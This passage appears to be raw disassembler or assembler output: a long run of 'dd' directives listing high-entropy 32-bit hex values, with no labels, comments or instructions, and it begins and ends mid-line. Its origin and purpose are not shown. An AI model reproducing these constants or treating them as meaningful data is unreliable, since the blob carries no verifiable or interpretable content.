0CC4C5439h, 386A00DFh, 1A97082h, 9319C3A6h, 94A85CA2h dd 5DC0A444h, 60F036D9h, 68F9108Bh, 5B1555F4h, 784C7BBh dd 64FD698Ch, 0C10EB7D0h, 9E99584Ah, 3A6A5B09h, 40420404h dd 17641221h, 169AEAE9h, 0EA4057h, 656AB7B7h, 540325C5h dd 7A504843h, 44D1099Bh, 0B480D96Bh, 4318E4FAh, 49018805h dd 70035F9Dh, 7CA38750h, 0AAE81531h, 1800940Fh, 0F96F2AD8h dd 8C0074D4h, 0D67FDB53h, 5F0716h, 806AF3FEh, 484C5185h dd 4698CA08h, 0D02C94C1h, 1AF21A10h, 80F1D9BBh, 72D0CFA8h dd 0E487043Eh, 90F4EED4h, 0C5BB2394h, 629188h, 4134A62Eh dd 72D856EEh, 4FE61A00h, 0B6ABF7ECh, 1EF60AB9h, 1CF47AE7h dd 6B26C652h, 3703D8DFh, 883FF8C8h, 0D75103CBh, 95FDB0CEh dd 3EAD9005h, 3C00A807h, 81A05B15h, 4A053026h, 6FF15350h dd 7470A848h, 638F6000h, 0BEADFDBBh, 2B790055h, 1978F703h dd 0D200820Ah, 0C92AF1E3h, 0F6BC637Ch, 0E1CB3F05h, 3E70E80h dd 5DAC0146h, 2410D30Fh, 72ED0304h, 0A451E04Bh, 0D6580044h dd 0E3B9708Fh, 0D1002A89h, 0ACD02687h, 2CCA802h, 0BBF21220h dd 0CE0BD93h, 8107EB49h, 34B59D6Fh, 36D6A7A0h, 80715014h dd 13D7F4E3h, 304DF6C0h, 37D28724h, 7D3B0A38h, 8B9E773Ch dd 8AE65943h, 6001508Bh, 5CCE16ECh, 485A9670h, 1051A82Ah dd 151B20D2h, 18D2FAE2h, 0BE431B00h, 0FE079BFCh, 2827F8BAh dd 4CA05359h, 131010B7h, 164314DDh, 0B0049FC4h, 0FF1EDB26h dd 0CB31781h, 2403A93Ah, 1F001A3Ch, 0D971C944h, 0F00485BEh dd 586A60E5h, 0FF5D12B6h, 38345977h, 0AF80B892h, 75804AD2h dd 0A158C14Fh, 8322BA54h, 0BEB06AA8h, 2D7100C1h, 35F55BEEh dd 0F6378854h, 0CCF1A1D0h, 5824A6B0h, 0DE151873h, 8212400Ah dd 52DC5F48h, 0B41F2654h, 120B5A08h, 0B93445CAh, 0CEA8028Dh dd 0E302A780h, 899CA397h, 0B5F1F808h, 71777485h, 8F1738DBh dd 542DEC00h, 86DE732Ch, 507C420Ah, 0A340B883h, 8024D66Ch dd 9415C463h, 0A4B260h, 0E1E2F5A6h, 0A37A74C6h, 0C7D3A8FCh dd 0E8994934h, 82EA5600h, 2968FC33h, 21CB1232h, 26832289h dd 5ACF088h, 460732C6h dd 819CE3C0h, 4ADA5F01h, 5A0AFF36h, 69334184h, 49F642A4h dd 8107026Dh, 8B40CE1h, 88CB334h, 0D5004DEDh, 7E1B068Ah dd 0B828C2C0h, 0D82002A9h, 0FED9DB19h, 6B930086h, 62D17EC5h dd 0DA503A98h, 51034CCCh, 7B18D2F3h, 1421895Ch, 0AAFCC3E6h dd 0C11E0443h, 82D8B0F8h, 0ACE6E889h, 0AE90837Bh, 0F0D940A2h dd 0CE00E582h, 0A760C788h, 92D7B760h, 4020B004h, 36141D6Bh dd 55E89AC8h, 0CE6AA80h, 0E0E1F717h, 0D1197C06h, 0C72B0C71h dd 44699FE4h, 118B7E07h, 10EC3FAh, 175AA36Bh, 0A8B7EC30h dd 9D945E4h, 465253CCh, 23CA8807h, 9018D4E2h, 0E359C6BCh dd 202C034Ah, 4D953C63h, 0D0FA54E8h, 61B9A0Ah, 9007781Ch dd 32538412h, 0E0C00480h, 19EB4CEh, 71DB1E83h, 98D0F852h dd 40AD16D0h, 0E6135C5Fh, 244C6D8Dh, 3B98C993h, 0DB80143Bh dd 0F0D5CA69h, 0A8005E38h, 0FF133023h, 6665D1Fh, 0AAD84975h dd 9B3F5908h, 710280C3h, 681D7EDAh, 7DC60694h, 0B1DCBA8Bh dd 0A5257600h, 0B3369D60h, 0C581FD5h, 81D7837Eh, 810099E4h dd 3B69AF48h, 10F1A2h, 1F225E4Dh, 4439E8F4h, 73E2709Ah dd 9FE9C601h, 7527BDA2h, 0B81D8AFCh, 0D05500ABh, 5A8606DBh dd 6460D9E6h, 0A9272BE0h, 3254BA60h, 0E31902CEh, 0AC93E090h dd 0FE573A1Dh, 7903576Ch, 0A0361961h, 327C1118h, 42C2A3BDh dd 604446E2h, 2C89CD30h, 1047E2Fh, 62ADB64Bh, 0FC4337E6h dd 73E9D4CCh, 27DC1F24h, 490CFA97h, 77A89E74h, 10B8491Eh dd 41ED1A00h, 0C9230F2h, 0C5AAB112h, 2D1EE020h, 57E1806Ch dd 20250625h, 18E6E0CCh, 0ACFCA093h, 38E6CEA1h, 21051098h dd 84C614A8h, 49E39940h, 44002427h, 17229F5Bh, 0B8805341h dd 94B93B63h, 0CA825CC8h, 0A0687288h, 3B03DDACh, 115A3718h dd 0EC87C482h, 96F28008h, 4A882175h, 44FED90Ch, 485B70A8h dd 0E6CE8443h, 46748620h, 1C131988h, 0A0257950h, 17EC1CC9h dd 0EA1E0091h, 4920D4B8h, 0F5006F67h, 68DF10F8h, 95B8903h dd 1A4A1579h, 7C17D403h, 5C624D98h, 49927705h, 3C400BCCh dd 325FBA2Eh, 0AE131660h, 0DA50041Ah, 19A00D9h, 0B22E8050h dd 4A5DFEA8h, 0CA001FEh, 70BDEFFCh, 9D72A63Dh, 5172C0Ch dd 9DA1059h, 0E827069Ch, 902974A0h, 5433815Bh, 0C9CC4132h dd 4065D186h, 1956BC00h, 0FDA63245h, 2E1B220h, 0E31051C5h dd 1A885091h, 97008670h, 9B1D3A9Eh, 1F4195Fh, 0ABA9E883h dd 5752FF4Eh, 5C11A1E4h, 0FDDC304Ah, 6D0E1084h, 28B83041h dd 5D3645ACh, 0F331A05Ah, 427C6E8h, 8986880Dh, 38F8F441h dd 0F0AA1894h, 0C30DF9Fh, 9638D69Fh, 94AC0640h, 4F69424h dd 6D819E1h, 3C413458h, 0C1E4C271h, 1A152100h, 0B441823Bh dd 4B2FD28h, 50CC98h, 0C4BF393Ch, 1AB551EDh, 6A65401h dd 0DE6DAD10h, 80F468C2h, 0F1E94141h, 5F688808h, 5DE60298h dd 701048Eh, 44E4C663h, 0E4220087h, 6B15AF55h, 75E2F641h dd 94FDB626h, 0F5879821h, 4C8459D3h, 0A83020D7h, 9BBDBFh dd 2F3255EAh, 0B4E12B88h, 365B2E0Ch, 59FF2958h, 0E3041CB8h dd 0B046B338h, 0A41461ECh, 4C28C6D6h, 718D10D4h, 0B3995A08h dd 4D272C2Ah, 0CCCC021Eh, 0AA0890BAh, 79B4A87Fh, 41896FEFh dd 40681712h, 0CC8FE1F8h, 84A856B8h, 363053F9h, 4DFA7950h dd 69347D13h, 0EC82214Ah, 0B920FC36h, 0A8EE5343h, 54751918h dd 3234D806h, 8F71B072h, 0A0AE3C23h, 28516B96h, 861F65h dd 0D83A33D1h, 4DAD2AC0h, 12410E63h, 48F58ABAh, 3DD9BF18h dd 0A854B8F4h, 0EA3A1E4Fh, 0F5B10039h, 48C6D778h, 0FF7989C5h dd 0AAD39820h, 0BB4388ACh, 0BC4A0326h, 66A0C501h, 2CFCAE61h dd 4E6E00E7h, 8DDA9BDh, 34007F63h, 20EDBF57h, 9B90C3h dd 0D766BC87h, 9891387Eh, 0FBA823Ch, 20EA555Eh, 8F5B74DFh dd 76C43EFAh, 2E3B3C00h, 0D970CEA2h, 9C0C967Dh, 40255ABBh dd 0F18BF293h, 19EABF00h, 0B616D400h, 1CE0EC8Ah, 0D72D006Fh dd 5CEDBB14h, 8B0F8385h, 6025AC9Ch, 96888A7Fh, 66AD009Fh dd 1A97B155h, 0B62968D4h, 0A415EC94h, 50F9AA04h, 98AC5AF8h dd 16D62812h, 0F7F9D800h, 2D771Ah, 0EC7C6F3Fh, 84D13859h dd 1CBB8A03h, 0E0376D25h, 0FAFF9098h, 40556052h, 0D8096EE0h dd 1085F700h, 14242C6Fh, 4BFA00C9h, 0C7939631h, 0B50039C6h dd 9A90CD17h, 8366E38Fh, 6DE122F8h, 85FD80h, 3B426401h dd 5DF6C714h, 0A783DC00h, 0E11CBFF5h, 8CF023h, 38C0A09Ah dd 22A1E351h, 973D500h, 2D2FBBFh, 38404C64h, 75949177h dd 0A9FC68D1h, 64DB001Eh, 85FA8A5Bh, 42036F73h, 0F2C4143Ah dd 8B93C94Bh, 66A2F8h, 91DD6CE3h, 31ADCC8Dh, 9C555B3Bh dd 0B280E721h, 1AC4A9D4h, 7E2D0065h, 4C08D361h, 58018EC2h dd 0D916C3E4h, 8DF8C96Eh, 40FF60C8h, 0E6209757h, 7A9B680h dd 446F75DBh, 0EEBF307Eh, 7A00375Fh, 22A2B74Fh, 0FCCD7125h dd 0AD8B009Eh, 97B9A532h, 2100D42Ch, 0DAF6BD59h, 59447175h dd 0A8AB8C80h, 591D0099h, 0DF1EEAAEh, 0BC035B73h, 7604C9F9h dd 0F0148880h, 9E5140EBh, 23A19B00h, 0CF3562D7h, 0AE8B0E91h dd 0AD606766h, 4A6C2221h, 0F5F8D103h, 0C8406E74h, 0B3C057h dd 4E95DB59h, 0E72DBF83h, 0F40194FCh, 37FAA098h, 19D8A9A5h dd 5D6200E5h, 585EDCCh, 3F007F59h, 4AEAEE14h, 604E8432h dd 71E87081h, 92038EC9h, 0A55CBB8Fh, 0D328B09Eh, 0D84F0021h dd 6747E0F5h, 150B4042h, 477B3D0h, 0CE4095ACh, 8D7D3716h dd 4688C252h, 8EECFF04h, 0C5450D2Ch, 60477500h, 7D6901A3h dd 26B1293Dh, 3F035634h, 1B25B92Ch, 6F12E851h, 2DA35C37h dd 15F48409h, 0BB1E60C5h, 0B9186E59h, 60BC46F0h, 19F721D3h dd 59064BBAh, 58A81F75h, 21CA6009h, 1DBA0197h, 0BBD81600h dd 0E6CD1C8Eh, 0FA44009Ah, 0BDDDA505h, 81270E82h, 0FBD84042h dd 5B6301A1h, 0E5EF04F1h, 2C422F70h, 20DE89C8h, 76B834D9h dd 0A40150BCh, 514B44A3h, 0B4B33892h, 75001F30h, 0DD9AA713h dd 5650CAC0h, 42201C90h, 0E8D1704Ah, 7AC498CEh, 0ADFD024Ah dd 0BC531C03h, 3A801C76h, 0FBB68C8h, 9BF500A1h, 0F43322B4h dd 720059E6h, 0B37E295Fh, 398B5145h, 0CC861D80h, 70E72698h dd 0B18193Ch, 0C9F6AA90h, 19C2CEACh, 0B40814A3h, 0BA20C04Dh dd 3D465944h, 9E00C422h, 8B0EBA08h, 0C07297B4h, 0DC6B46E1h dd 151528DEh, 2134086Eh, 804B9197h, 594ABA1Ah, 0CF448C0Dh dd 0BA020398h, 0C678CEB4h, 431C7F8h, 1B3C259Fh, 0CCBD2400h dd 0E6B843CAh, 2F3E980h, 0C6595690h, 0E4878AC8h, 365BC055h dd 10C09F28h, 96E5B27Bh, 0DD340C53h, 0CA58FAA9h, 0C77A9019h dd 5E2BBB40h, 6E0C00C4h, 0C8B9314Bh, 7F4EA3Dh, 6C0A0563h dd 0FCE0C0BBh, 22C9127h, 594F365Ch, 92112C56h, 0A796F000h dd 6B5C99E4h, 5495F800h, 0BA1EC10Ch, 0D97F0405h, 0ED845048h dd 0BE5100C0h, 8849D1CCh, 3B14EEE4h, 260D9A63h, 5B680CE2h dd 0B652C090h, 16984FEh, 1978862Bh, 30A4E75h, 0F3A7E101h dd 0F1D61C20h, 0D24DAD00h, 82EFB41h, 210FDCE4h, 17FAA114h dd 7C424C0Dh, 89B12029h, 0F90C2505h, 59946354h, 55FB092Bh dd 8020B440h, 0B7E15651h, 8877CA03h, 4F3F32D3h, 78249008h dd 0FF38E14Eh, 981ABDCCh, 2B881D62h, 0F1902F9h, 95268402h dd 8A00485Eh, 5D3790C0h, 19FB0929h, 5CD0364Dh, 0DCF0121Fh dd 1042160Dh, 2650C048h dd 4F3C9A80h, 0A9009495h, 0B0089FB4h, 9D184A01h, 1731B55Ch dd 0D1E603B2h, 0F477841Ch, 153D023h, 0CA89E154h, 88481847h dd 0E1024C72h, 0BE1FEF2Fh, 1BC7818Fh, 9980476Dh, 3945E5FBh dd 0EF277A0Dh, 0D82CE115h, 2070A89Dh, 1273A78h, 8460C8E3h dd 53F4018Fh, 0FF55941Bh, 8B099823h, 886421h, 32F595F4h dd 0F9D07BE2h, 7D14E617h, 0DDAC9CC1h, 31A0609Ah, 4D760885h dd 0F0B9F9F8h, 90C928F2h, 9CEC190Ah, 0D0111FF2h, 0D6FC5380h dd 6017D46Dh, 64D6B3B9h, 20246E0h, 1B54F490h, 1097319Ch dd 3F48163h, 906F4F68h, 0D2DC1682h, 3847B7E4h, 74605D44h dd 7F007EC6h, 0D579C298h, 7B80CC73h, 12AC9A3Bh, 0A018F24Dh dd 0A13EBB78h, 97E8925Ah, 0EE26B8F0h, 4C40820Ch, 449843CEh dd 0C8B4020h, 447D0F01h, 0F700B820h, 328EADFBh, 1DF68D9h dd 8F495926h, 0EBA69854h, 1E4A7012h, 17F7CB2h, 408FC0ACh dd 0E0016DCEh, 0ACA8C1BBh, 0D000557Ah, 0FB430703h, 0E3F848h dd 323E5458h, 505FBF69h, 82002C78h, 0E89D5101h, 94A0BE3h dd 23531B90h, 0A1A0648Fh, 0C9827702h, 94E6D713h, 76CA24A1h dd 7DD38010h, 8B19855Ah, 884CDC28h, 2FCD620h, 5D1F511Ch dd 84C26B79h, 6057C004h, 21B5E158h, 76C067CAh, 0CFE150h dd 0A0AAF5F4h, 0A131B862h, 3E97B208h, 0C8E125DCh, 0DCFC0423h dd 8F559A87h, 70F8C9C7h, 73372731h, 0ED0E1AEEh, 0E759E0CDh dd 0AC1781D7h, 0C8643662h, 971C0504h, 0C6608CA0h, 79808D90h dd 6AED24EFh, 35B164C0h, 8C7B502Eh, 0E06A9300h, 0EDCB3C07h dd 42C60476h, 9850B1BAh, 4DF41F9Ch, 0BC25592Ch, 3079D70h dd 50FDB7BAh, 6103A77Fh, 0D3F45146h, 0BE93A006h, 5B1013DBh dd 176CF2BDh, 7C040394h, 89044485h, 6D4B9A9h, 3DBAC6B6h dd 943800B8h, 97F40619h, 4F00BB28h, 3724B70Ch, 0C098E3B6h dd 0D1F7A271h, 0CD000E1Bh, 0B508B3A9h, 0B796C8h, 97D2E729h dd 3C524FABh, 0DFEDDE1Ch, 7CBF5A00h, 13FDF3A8h, 0E2E63087h dd 0FE1D0EFCh, 0F1DC2744h, 0E81B841h, 0A9AC41EDh, 0F2AA0868h dd 0DA6DAD05h, 82172CD1h, 3D361360h, 0B7803433h, 0B4D11681h dd 6D24A6FDh, 133C5429h, 74F4E4E6h, 95120023h, 6AD83994h dd 24FF7690h, 0D6204528h, 0CBC0041Ah, 0C0851F23h, 0FDB8CDC0h dd 1BDC4484h, 7365D1Ah, 0D0C4C30h, 70AACBF5h, 399093D9h dd 2E870CA0h, 891415E8h, 38102806h, 6420C6E2h, 0B998E8A7h dd 18D0D1C4h, 0BF5C00C5h, 0E8D7B587h, 24581996h, 0CD3A3E84h dd 0F2750858h, 610B3FFAh, 789087A4h, 4C3E16B1h, 67840113h dd 687BB5F4h, 21110898h, 13005436h, 2C5A8507h, 5CF03A1Dh dd 561010EFh, 0D8243CC1h, 60270808h, 0D8F631C0h, 0F4D8BCA3h dd 0A20433EDh, 4DB03047h, 5D9D1516h, 0FAB1C030h, 1EB6FEB9h dd 6E8358D2h, 0D88114ECh, 30C14D3Fh, 56547FECh, 4C7A9BD8h dd 0F12B2340h, 93080020h, 0F4B601E0h, 63AC1B56h, 658BA0h dd 0FE0271B0h, 64DC07A7h, 0C4B6A86Bh, 0D2DCFCB7h, 2EA4C04h dd 0BB8AC011h, 0C00344F8h, 0B76D3DEBh, 0E0F5E325h, 3222E8h dd 9CB86CCBh, 0D81780F8h, 882038D3h, 5ACE5956h, 517C82D0h dd 425B4040h, 0DA64848Ah, 3881401h, 12029E3h, 11D0FF0Ah dd 0C4D2C76Fh, 0FC544CE4h, 0E4E40213h, 1201D5F4h, 9AECC585h dd 11CCAED4h, 7E940EB7h, 5080800Dh, 464B198Ah, 8B995B14h dd 0D0323A0h, 0D698F489h, 45DCA0B3h, 50C78262h, 870F3F80h dd 8D5F0385h, 80A235Dh, 0CCBE5680h, 0B849CB0Bh, 0D872A9h dd 3D9EFC8Ah, 0AA31963Bh, 0DB190B60h, 74CE79A9h, 0D9B701BEh dd 0FB0A783Fh, 0A145F497h, 103A5226h, 0BC04D896h, 8709A734h dd 6A009C44h, 0BF894EB3h, 25E95D01h, 50012AA7h, 73A67B50h dd 28421084h, 8280CE04h, 0CF4909Ah, 52064BC1h, 7306875Bh dd 49D617C0h, 0A0CC0890h, 0EB03E9A8h, 9BE6E19Ch, 0B0E8E857h dd 301D4B06h, 4850D15Ch, 4DF014B8h, 70140A34h, 0FC725081h dd 18451F00h, 38727341h, 0B73046F2h, 1F062CD0h, 3FBF6E74h dd 0AC81DF3Eh, 6FF1DB4Dh, 0C0E02893h, 0CA01AD46h, 9B543080h dd 0F8DAB988h, 24AD08A9h, 0DF63BB60h, 0B0F57D59h, 519745h dd 1BD5F8BEh, 6075F724h, 4F915896h, 4EBA1E80h, 9C2D59h dd 2069458h, 1E4C66BAh, 6E03F21h, 0F916C5D4h, 0E0496CFEh dd 0DC445Bh, 395674FCh, 0E8412E8h, 4E70D92Dh, 2F474AE8h dd 8A23A0h, 1075C14Ch, 0E63DBBF2h, 4BBA2D6Ah, 7F41A4D8h dd 25083027h, 0B9D40568h, 994B0FE4h, 1E064095h, 3C48D74h dd 157FD1DDh, 0B89FE64h, 1C22E4h, 0AE1F1BB2h, 500C8BC9h dd 30E9D1CBh, 46991951h, 0F330C36Ah, 9D49C820h, 6250965Ah dd 0F4E37D74h, 964360E1h, 0F4B4A981h, 0B46C01E5h, 617FF77Ah dd 8D4EFC6Bh, 4A511F04h, 2092CA90h, 80E8D4A9h, 3B16B94Dh dd 0B3A041Ch, 21DC83EFh, 9BEA2628h, 8A99D137h, 8C8E2C64h dd 20134D04h, 14622F84h, 13553D20h, 0C17F04EDh, 0C07C933Eh dd 0F6E13204h, 0E6315207h, 0F037D696h, 0EAE020EBh, 7A880B24h dd 1210626h, 0E14F40A6h, 0E548E200h, 5F864AEAh, 0D8A203C6h dd 75E983ADh, 87B208A0h, 0F8C81E2Ch, 10325D8Eh, 9106AA18h dd 38003A0Bh, 1CCBE663h, 0E3632E4h, 3D4A4476h, 3E98CAC1h dd 1C733FDCh, 84F82376h, 1E134F07h, 10623FA4h, 1357672Fh dd 6B27BDE1h, 1DA58CF0h, 0C0B329EFh, 0C5B2F193h, 67004EF4h dd 0CC55E423h, 980FE152h, 9ECB1C54h, 0E14957F6h, 0A2186300h dd 4A5530CCh, 74DBDE1Dh, 267AACDCh, 0C90E988Bh, 8B8854C7h dd 0C45AE3h, 7BB99646h, 0D9F3DC8Fh, 2AE6617h, 7537101h dd 0C4764955h, 88A4640Ah, 134BC088h, 5F46841Ah, 3B020F22h dd 5C241353h, 7806119h, 8ADA3201h, 0E05EAEECh, 1ACACC03h dd 6422D25Dh, 2564684h, 0CAB6E155h, 105A316Fh, 98E14D77h dd 5DB00B59h, 0F859C00Fh, 0C01A180Fh, 0F1AC9E1Bh, 608008Ah dd 6B463035h, 501ECBD7h, 0F59F835Bh, 0CA871740h, 0AC49B1BAh dd 101C7ABCh, 0E01D5950h, 1EBA0492h, 86A5E0h, 4AFBABD4h dd 0AA482C88h, 0F090CCh, 0FFF0A52Bh, 2D23E3Bh, 0EDAAB5D6h dd 68E0D4E2h, 9ED1A0h, 9964676h, 829A11DBh, 7C4F3E8h, 84E059BBh dd 0A0B538C6h, 0E50F1914h, 0E65A804Dh, 0A4C5EC5Bh, 80DA3408h dd 18C9BBA7h, 4B074A6Dh, 7CD1EDB2h, 0D28D26F0h, 1B8B3C7Dh dd 4958E613h, 7465B980h, 2E60CDC4h, 5D13E976h, 4E050319h dd 64B4C3CEh, 2F014236h, 8DACC827h, 50F50ACBh, 83FCD339h dd 0F9B698CCh, 30963931h, 0C6114328h, 2B7C40CCh, 4B5A91Fh dd 58A2B7F4h, 513059F2h, 0C4260161h, 0CEB8CA91h, 3A789EF8h dd 0B0C46Fh, 3BBB2A9Ch, 606B1947h, 623A7203h, 98B48970h dd 1D166971h, 17F626E2h, 82F4F4B9h, 0E209092h, 90AA3223h dd 0BC67C050h, 0A7601744h, 7C382625h, 780E0083h, 2223697Fh dd 0FD7102ABh, 0EA90CCE3h, 0E5106050h, 0D716B2DEh, 72C0D0AAh dd 0D316E8CEh, 0E30A91EFh, 4C2ECC0Eh, 22CCB694h, 0F4583E63h dd 3F929107h, 0BC359582h, 0DE247060h, 0B3843020h, 0BC0BD847h dd 620008FAh, 5CE6F5A8h, 1E031D18h, 421E83BEh, 9A90CA55h dd 4901D4D8h, 94E37F58h, 0C8507753h, 92B697B4h, 51460274h dd 39794384h, 0A41D108Bh, 94805911h, 0D13CC897h, 840CAA2Ah dd 2EEA8500h, 0FFA18D33h, 3F430356h, 0B5252A34h, 23AAC9B0h dd 0BC6EB6F6h dd 0C06231A0h, 6600FD8Eh, 5860C6F3h, 43067481h, 99C4549Dh dd 6EC37DA3h, 0ECD085F5h, 0CFCB80ECh, 50FE6D1Ah, 26E4B816h dd 744C4C45h, 0CE00C446h, 0E0DE31CAh, 6DF3E659h, 1EF040Ch dd 0A8B4FE50h, 0A540997Ah, 5000A035h, 17E067CEh, 3290B820h dd 4CB043D5h, 49E81B31h, 22054659h, 39109C3h, 88099EBAh dd 831270C6h, 0C4D0E411h, 0C92B7Dh, 0BDA30602h, 9A583C5Ch dd 88CABB00h, 0C7CB8203h, 1A490262h, 4C511C2Ch, 38004CDCh dd 0F61DCFBFh, 0B0C01220h, 3A80520Ah, 9023B8h, 664481BBh dd 600795A4h, 6E94860Eh, 0D960B2DBh, 18C379E0h, 4A402478h dd 739204h, 6D9F591Ch, 3F58D0E9h, 0E3A80724h, 4D269D52h dd 81501229h, 9A6CC8A5h, 78441B4Fh, 88803620h, 16344EAh dd 0E6D73EE9h, 64DE94CCh, 48C8DE8h, 841F134Eh, 330CE37h dd 0EB135640h, 2E6AB85Dh, 0EED0B45h, 0E400084Eh, 0A9B136FBh dd 235D6E00h, 42983A33h, 80F80929h, 7CC6C67Bh, 1806BC81h dd 58F4088Ch, 95C4BC1Bh, 0F48D6740h, 19097382h, 68200610h dd 30E6D878h, 23D09C90h, 0EBFF927h, 7A50E47Ch, 3E10F8B3h dd 0DF290002h, 0A94F597Eh, 21092C7h, 5CAE548h, 0B852589Dh dd 494D080Ah, 44EFB08Bh, 38F40166h, 69C2F0A4h, 48821003h dd 4301D986h, 407A35C7h, 1B2360A8h, 5300ABA7h, 0C50E846Bh dd 8FFCAC9h, 0FD35C688h, 0A5172982h, 360CC854h, 0D4A252D8h dd 49018223h, 4F841C13h, 39B04428h, 28021351h, 4C2CFD2Fh dd 7D5061BBh, 52239033h, 8AE18438h, 5C624FCAh, 0E1497320h dd 396F055h, 6045B2BBh, 1E008E27h, 51078AA0h, 14C0CEF6h dd 80C26690h, 4BDC204Ah, 0EF2417BFh, 0FF080487h, 384D52F5h dd 89D00360h, 0DF0400C9h, 76C132BEh, 0B8173444h, 6CA4DC72h dd 81254435h, 7410E27h, 74D2D618h, 11AC9F8Ch, 2AF5800Dh dd 231BF4Fh, 0FE535CD6h, 75779F0h, 7859D54h, 4823B43Fh dd 5C73E07h, 0DDDEE353h, 840BE4F8h, 6986D7AAh, 4C94B99Dh dd 1D11465Ch, 4E8E9AC8h, 89C480E3h, 5CBA9854h, 0DA84BCCAh dd 8428211Ch, 0D5FCBD10h, 9B516707h, 1C00AA44h, 5AF9EF7Ah dd 80C844B6h, 1090546Fh, 173C1312h, 0B70BB92h, 0F0A5820Ch dd 0E230A23Ah, 0AFCA308Fh, 44484600h, 0FD658849h, 0C65B0A18h dd 0A888414h, 8C4D6B0h, 1C647254h, 24E9A94Bh, 6F40D845h dd 67F17B00h, 0A25C9A9Bh, 0BFD0714h, 43E22A4Bh, 0FCDDDE5Bh dd 235105ACh, 0C4913E5Dh, 947736B4h, 3A06F601h, 60939E4Fh dd 220AA1A7h, 1826325Dh, 49400B64h, 0E1F5CC55h, 8C8AB700h dd 0FDA8457Dh, 2F601C9h, 610F22C5h, 0E8802A69h, 30168462h dd 241057F1h, 0E62B88CEh, 72D8A48Bh, 35890074h, 0B00DCEB5h dd 0D48008C0h, 94828291h, 60006B75h, 4B0F01B2h, 0E27C8051h dd 18B361F3h, 62E170h, 0A33CCD21h, 0A9E54F5h, 28AE93Dh dd 72596676h, 8068B5FFh, 29B6A74h, 500EBC9h, 3059B8BAh dd 4CF22C50h, 7216C806h, 9EB491CAh, 0EACB0052h, 20D1621Ah dd 7102D28Ah, 791C5112h, 739185Ah, 78840496h, 0C5F63119h dd 0DEE03445h, 4896420h, 0AAD46283h, 0A0064F08h, 0C6A7908Ah dd 3A313C76h, 0B5026C4Ch, 20961528h, 0E244C446h, 5C0094B9h dd 7804D046h, 0C0213D88h, 1B4C02D0h, 0FF32451Bh, 0AD51B060h dd 19D6324Dh, 0EC40BA10h, 11956D81h, 0C1143E8Ch, 1FD2AA0h dd 0C9A45AAAh, 85811144h, 0DA09134Ah, 0E083157h, 13523C10h dd 815A353Fh, 168258F3h, 412B6B1Dh, 6D20CAA8h, 6811F710h dd 806FFDF8h, 6651DC85h, 949CB60Ch, 1CF465Ch, 0A9E46DCEh dd 1C6029ADh, 4CF543FEh, 0D97B8050h, 4C6C7022h, 38103036h dd 9DFB047Ah, 0F4D4A054h, 48BC44ACh, 0BE41018Ch, 0CE5B2702h dd 25CC6C05h, 11F89764h, 0D257800Fh, 0BAC5145h, 0B21EDF11h dd 8A91AC1Dh, 0C357AE80h, 2F7B44D2h, 4C7C113Bh, 70AC00A9h dd 0DAB4FBBEh, 1890B940h, 5B03D131h, 9A744672h, 1CB14301h dd 0CC2A1A4Bh, 9B8F9A8h, 48E3D820h, 0CF2AC48h, 10001948h dd 0B9005101h, 34EA5DC0h, 41F8F6D9h, 3A44949h, 51465C9Fh dd 0E281A89Ch, 0D6C5BC6h, 7C40F5F8h, 995904E4h, 0D0B91E82h dd 7C58F64Ah, 6270D122h, 61E510B2h, 80B45207h, 0EC2780C4h dd 25CCE14Ch, 0B4481690h, 6F0CA18h, 22646495h, 6F31118Eh dd 9330489Bh, 0CA38F600h, 384A0130h, 5B2F80CCh, 305013F7h dd 0E398CE28h, 108D654Fh, 0C665888h, 878C6A80h, 5E268204h dd 0C9B41C55h, 64707836h, 67170EFCh, 6C0004EBh, 0C74C5284h dd 0F9FC60CDh, 62C1F1F2h, 5072903Ah, 0DA043164h, 8975842h dd 1351EE0Fh, 28B42705h, 0C23209BDh, 90022D9Ch, 541AE202h dd 220586F0h, 597E31D2h, 65272098h, 452C105Eh, 44684D8h dd 52F48A02h, 0B4598C1Bh, 0F4836160h, 85F0007Ch, 53736DD5h dd 490105Ch, 275AB12h, 9EC4C802h, 5DF8C4DEh, 96F8BC62h dd 5161F8E3h, 6497F40Eh, 0F2441C7h, 3020B5B1h, 38DE27E0h dd 58790441h, 0A5865174h, 608CC4BCh, 54736EBh, 5B45F2B9h dd 19A4049Fh, 5181324Eh, 1897F198h, 59341DFAh, 609354DEh dd 2A485B3h, 70A2151Bh, 46FC8020h, 0F4486C8h, 938896DEh dd 0A2E8C39Fh, 10D8ECDCh, 891264F1h, 36082C1Ch, 0C497F188h dd 32C38A60h, 9E2CC45Eh, 6A0FD67Ch, 41BF5D34h, 0B7A90558h dd 3670C1F2h, 3AF4122Ah, 24623D4h, 0BB5B8CD6h, 153EAC7Ah dd 0FF8B0097h, 0EC07DA93h, 0A1A80288h, 0ED4632DCh, 86108B40h dd 5C118D0Fh, 0BBCC024Eh, 5C2C7439h, 72008F46h, 185E48E2h dd 0D9162D5Ch, 60A285D1h, 43125BA2h, 1070AA1Ch, 0DF447D7Ch dd 26EF46FFh, 0D0E46053h, 0CA682057h, 0E75D2380h, 89750BA8h dd 0AF8851A1h, 13422C90h, 4515AE00h, 17449154h, 57DC0404h dd 0EB5A9D03h, 10825422h, 9C0F584Ah, 831820F8h, 87C7CBB6h dd 50DD2834h, 81B546E0h, 0B8D02E3Fh, 70E6222Dh, 0F2BC00A7h dd 144BA8FDh, 0AD7EFCBEh, 0F9908B54h, 3420A281h, 9EE38820h dd 0F44081DCh, 15510467h, 0AF9B026Dh, 0E4FE919Dh, 804C8C81h dd 831062DFh, 0D47698CAh, 0E796A0B4h, 6A883A0Ch, 3E367D26h dd 6E801192h, 1923E01Fh, 42484F45h, 0C051884Ch, 0CA8BE152h dd 0A0CB574Bh, 0E14A7400h, 737D4DD8h, 27D24512h, 0E2028CEDh dd 0A2F5F765h, 0DC20D4h, 0C11EAC0Ah, 9A08F8B4h, 0D64D2008h dd 96311CFDh, 0BED300E9h, 7B5091F7h, 4480D09Eh, 4261AB6Ah dd 0A4AA4EF4h, 5D00B500h, 909E10A9h, 14B83B0h, 7C127787h dd 82DDF478h, 39CECB49h, 11849DD7h, 1373875Ah, 511D91F1h dd 6E5E1C76h, 61A5004Ch, 0A90E82E4h, 0B040BA41h, 70689725h dd 84746E9Dh, 52C9E902h, 0EE5A9E4Eh, 5988B9E0h, 451812h dd 3136DFF0h, 0D2814C7Ah, 0CDC4E0A7h, 0E2742560h, 0C90E8415h dd 0C6E00B84h, 942443C8h, 24262CF9h, 0FC5292C4h, 360804Ch dd 76D93E0h, 18A1025h, 695BE681h, 5878099Fh, 0E4515C4Ch dd 641CC897h, 0AA8D2C00h, 79E03128h, 4C9700DDh, 0D5B46A46h dd 19128A49h, 0A8E42506h, 